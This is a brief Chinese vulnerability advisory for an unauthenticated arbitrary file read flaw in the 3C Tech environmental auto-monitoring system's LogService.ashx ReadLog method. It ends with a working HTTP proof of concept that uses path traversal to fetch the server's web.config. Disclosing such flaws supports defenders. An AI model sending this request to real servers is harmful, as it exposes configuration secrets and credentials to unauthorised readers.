3C科技环境自动监测监控系统 /ajax/sys/LogService.ashx 文件读取漏洞

日期: 2024-08-08 | 影响软件: 3C科技 | POC: 已公开

漏洞描述

3C环境自动监测动态管控系统实现了对自动监测设备工作参数、运行状态和监测数据的“三同时”立体式监控,利用大数据智能寻踪报警引擎及时发现、判断、响应和处理自动监控设备中出现的异常、造假等情形,大大提升了污染源自动监测的数据质量和监管效率。     3C科技环境自动监测监控系统ReadLog读取报错日志功能点不受访问控制限制,存在任意文件读取漏洞。未经授权的攻击者可以读取服务器上的任意文件,从而获取系统权限和敏感信息。  

PoC代码

GET /ajax/sys/LogService.ashx?Method=ReadLog&FileName=../web.config HTTP/1.1
Host: 
Accept-Language: zh-CN,zh;q=0.9
X-Requested-With: XMLHttpRequest